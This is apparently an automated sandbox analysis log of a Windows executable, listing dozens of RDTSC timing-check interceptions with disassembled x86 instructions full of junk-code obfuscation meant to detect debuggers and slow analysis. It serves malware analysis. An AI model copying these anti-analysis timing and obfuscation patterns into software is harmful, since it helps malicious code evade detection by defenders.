Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E203 second address: F9E20D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F078CD5F93Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E20D second address: F9E230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F078CBAC2C3h 0x0000000a jmp 00007F078CBAC2B7h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180545 second address: 518054B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518054B second address: 518054F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518054F second address: 5180561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dh, CBh 0x0000000e movzx esi, di 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180561 second address: 5180572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F078CBAC2ADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180572 second address: 51805C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F078CD5F93Dh 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edi 0x00000014 pop esi 0x00000015 pushfd 0x00000016 jmp 00007F078CD5F93Fh 0x0000001b xor ecx, 1EB816AEh 0x00000021 jmp 00007F078CD5F949h 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180630 second address: 518069F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F078CBAC2B1h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov edx, ecx 0x00000013 call 00007F078CBAC2B8h 0x00000018 pushfd 0x00000019 jmp 00007F078CBAC2B2h 0x0000001e add ch, 00000008h 0x00000021 jmp 00007F078CBAC2ABh 0x00000026 popfd 0x00000027 pop ecx 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518069F second address: 51806A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51806A3 second address: 51806A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51806A9 second address: 51806C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F943h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE189 second address: EBE18E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE18E second address: EBE1A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F078CD5F944h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE1A6 second address: EBE1BD instructions: 0x00000000 rdtsc 0x00000002 je 00007F078CBAC2A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F078CBAC2A6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE1BD second address: EBE1C7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F078CD5F936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE1C7 second address: EBE1DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F078CBAC2B1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE465 second address: EBE48A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F93Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F078CD5F93Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180DD1 second address: 5180E20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F078CBAC2B7h 0x00000010 mov ebx, eax 0x00000012 pop eax 0x00000013 movsx edi, si 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F078CBAC2B3h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180E20 second address: 5180EBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F078CD5F93Eh 0x00000010 push dword ptr [ebp+04h] 0x00000013 jmp 00007F078CD5F940h 0x00000018 push dword ptr [ebp+0Ch] 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F078CD5F93Eh 0x00000022 add eax, 20E2DD18h 0x00000028 jmp 00007F078CD5F93Bh 0x0000002d popfd 0x0000002e jmp 00007F078CD5F948h 0x00000033 popad 0x00000034 push dword ptr [ebp+08h] 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F078CD5F947h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0129 second address: 51A013D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A013D second address: 51A014F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F078CD5F93Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A014F second address: 51A0164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F078CBAC2AAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0164 second address: 51A01B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F078CD5F941h 0x00000008 pop esi 0x00000009 mov esi, edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 movsx edi, si 0x00000014 call 00007F078CD5F942h 0x00000019 movzx ecx, bx 0x0000001c pop ebx 0x0000001d popad 0x0000001e xchg eax, ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F078CD5F949h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A01B7 second address: 51A01CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 3Ah 0x00000005 mov dx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ecx, 48A4494Dh 0x00000014 push eax 0x00000015 pop ebx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A01CE second address: 51A01EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, F068h 0x00000007 mov al, dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F078CD5F93Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A01EC second address: 51A0204 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F078CBAC2B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0204 second address: 51A0245 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F93Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d call 00007F078CD5F944h 0x00000012 push esi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov di, 6222h 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F078CD5F93Fh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0245 second address: 51A026D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx ebx, si 0x00000010 mov di, ax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A026D second address: 51A027D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F078CD5F93Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A027D second address: 51A02A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c mov edx, 657EFC60h 0x00000011 push ebx 0x00000012 mov cl, 70h 0x00000014 pop edx 0x00000015 popad 0x00000016 lea eax, dword ptr [ebp-08h] 0x00000019 jmp 00007F078CBAC2ACh 0x0000001e nop 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A02A9 second address: 51A02AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A02AD second address: 51A02CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A03F7 second address: 51A040F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F078CD5F944h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A040F second address: 51A0466 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ax, 3713h 0x0000000e pushfd 0x0000000f jmp 00007F078CBAC2B8h 0x00000014 xor ax, 6998h 0x00000019 jmp 00007F078CBAC2ABh 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F078CBAC2B6h 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b mov dh, al 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0466 second address: 51A04CC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F078CD5F945h 0x0000000b pop eax 0x0000000c popad 0x0000000d push 00000000h 0x0000000f jmp 00007F078CD5F943h 0x00000014 push 00000000h 0x00000016 jmp 00007F078CD5F946h 0x0000001b push dword ptr [ebp+1Ch] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F078CD5F947h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A04CC second address: 51A055E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007F078CBAC2ABh 0x0000000b sbb ax, 2FDEh 0x00000010 jmp 00007F078CBAC2B9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push dword ptr [ebp+18h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F078CBAC2B3h 0x00000025 xor cl, FFFFFFEEh 0x00000028 jmp 00007F078CBAC2B9h 0x0000002d popfd 0x0000002e pushfd 0x0000002f jmp 00007F078CBAC2B0h 0x00000034 jmp 00007F078CBAC2B5h 0x00000039 popfd 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A055E second address: 51A05D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F078CD5F947h 0x00000009 xor ecx, 360E655Eh 0x0000000f jmp 00007F078CD5F949h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F078CD5F940h 0x0000001b adc si, 0158h 0x00000020 jmp 00007F078CD5F93Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 push dword ptr [ebp+14h] 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F078CD5F940h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A05D5 second address: 51A05E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A05E4 second address: 51A060C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop esi 0x00000011 push edx 0x00000012 pop eax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A060C second address: 51A063C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c jmp 00007F078CBAC2B0h 0x00000011 push dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A063C second address: 51A0640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0640 second address: 51A065D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51807E4 second address: 5180811 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F078CD5F93Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518086D second address: 5180871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180871 second address: 5180875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180875 second address: 518087B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518087B second address: 51808C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 1FA6h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push 50418C1Ah 0x00000011 jmp 00007F078CD5F948h 0x00000016 xor dword ptr [esp], 25D89032h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F078CD5F947h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51808C4 second address: 51808D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, si 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F07FD34F9CBh 0x0000000e push 759227D0h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [759B0140h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51808D8 second address: 51808DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51808DE second address: 51808F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F078CBAC2B7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51808F9 second address: 51809D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [ebp-04h], 00000000h 0x0000000c jmp 00007F078CD5F945h 0x00000011 mov edx, dword ptr [ebp+0Ch] 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F078CD5F93Ch 0x0000001b adc esi, 0A77C798h 0x00000021 jmp 00007F078CD5F93Bh 0x00000026 popfd 0x00000027 push ecx 0x00000028 mov ax, di 0x0000002b pop edx 0x0000002c popad 0x0000002d mov esi, edx 0x0000002f jmp 00007F078CD5F93Eh 0x00000034 mov al, byte ptr [edx] 0x00000036 pushad 0x00000037 jmp 00007F078CD5F93Eh 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F078CD5F940h 0x00000043 sbb cx, CC58h 0x00000048 jmp 00007F078CD5F93Bh 0x0000004d popfd 0x0000004e pushfd 0x0000004f jmp 00007F078CD5F948h 0x00000054 or ax, 56B8h 0x00000059 jmp 00007F078CD5F93Bh 0x0000005e popfd 0x0000005f popad 0x00000060 popad 0x00000061 inc edx 0x00000062 jmp 00007F078CD5F946h 0x00000067 test al, al 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c mov bl, 6Bh 0x0000006e mov dx, cx 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51809D5 second address: 51809D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F078CBAC20Fh 0x0000000f mov al, byte ptr [edx] 0x00000011 pushad 0x00000012 jmp 00007F078CBAC2AEh 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F078CBAC2B0h 0x0000001e sbb cx, CC58h 0x00000023 jmp 00007F078CBAC2ABh 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007F078CBAC2B8h 0x0000002f or ax, 56B8h 0x00000034 jmp 00007F078CBAC2ABh 0x00000039 popfd 0x0000003a popad 0x0000003b popad 0x0000003c inc edx 0x0000003d jmp 00007F078CBAC2B6h 0x00000042 test al, al 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 mov bl, 6Bh 0x00000049 mov dx, cx 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180A2A second address: 5180B00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F940h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b pushad 0x0000000c mov edi, 52B3BB02h 0x00000011 pushfd 0x00000012 jmp 00007F078CD5F943h 0x00000017 xor eax, 13E4DDFEh 0x0000001d jmp 00007F078CD5F949h 0x00000022 popfd 0x00000023 popad 0x00000024 mov edi, dword ptr [ebp+08h] 0x00000027 jmp 00007F078CD5F93Eh 0x0000002c dec edi 0x0000002d jmp 00007F078CD5F940h 0x00000032 lea ebx, dword ptr [edi+01h] 0x00000035 pushad 0x00000036 mov cl, 0Ch 0x00000038 mov di, B8BEh 0x0000003c popad 0x0000003d mov al, byte ptr [edi+01h] 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F078CD5F93Bh 0x00000047 adc ch, 0000006Eh 0x0000004a jmp 00007F078CD5F949h 0x0000004f popfd 0x00000050 mov cx, 06F7h 0x00000054 popad 0x00000055 inc edi 0x00000056 jmp 00007F078CD5F93Ah 0x0000005b test al, al 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F078CD5F947h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180B00 second address: 5180B28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F07FD344208h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180B28 second address: 5180B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180B2F second address: 5180B44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F078CBAC2B1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180B44 second address: 5180BAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F078CD5F943h 0x00000011 sbb cx, 239Eh 0x00000016 jmp 00007F078CD5F949h 0x0000001b popfd 0x0000001c push eax 0x0000001d pop edx 0x0000001e popad 0x0000001f shr ecx, 02h 0x00000022 pushad 0x00000023 mov esi, 1653EB7Bh 0x00000028 movzx ecx, di 0x0000002b popad 0x0000002c rep movsd 0x0000002e rep movsd 0x00000030 rep movsd 0x00000032 rep movsd 0x00000034 rep movsd 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F078CD5F946h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180BAC second address: 5180BB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180BB2 second address: 5180BC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180BC2 second address: 5180C16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c pushad 0x0000000d movzx ecx, di 0x00000010 pushfd 0x00000011 jmp 00007F078CBAC2B3h 0x00000016 sbb eax, 4E56D91Eh 0x0000001c jmp 00007F078CBAC2B9h 0x00000021 popfd 0x00000022 popad 0x00000023 rep movsb 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180C16 second address: 5180C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180C1A second address: 5180C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180C20 second address: 5180CBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F942h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F078CD5F93Eh 0x00000017 sbb esi, 3586A178h 0x0000001d jmp 00007F078CD5F93Bh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F078CD5F948h 0x00000029 adc al, FFFFFFD8h 0x0000002c jmp 00007F078CD5F93Bh 0x00000031 popfd 0x00000032 popad 0x00000033 mov eax, ebx 0x00000035 pushad 0x00000036 mov bx, cx 0x00000039 pushfd 0x0000003a jmp 00007F078CD5F940h 0x0000003f and ch, 00000038h 0x00000042 jmp 00007F078CD5F93Bh 0x00000047 popfd 0x00000048 popad 0x00000049 mov ecx, dword ptr [ebp-10h] 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f push edi 0x00000050 pop esi 0x00000051 push edx 0x00000052 pop ecx 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180CBA second address: 5180CC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
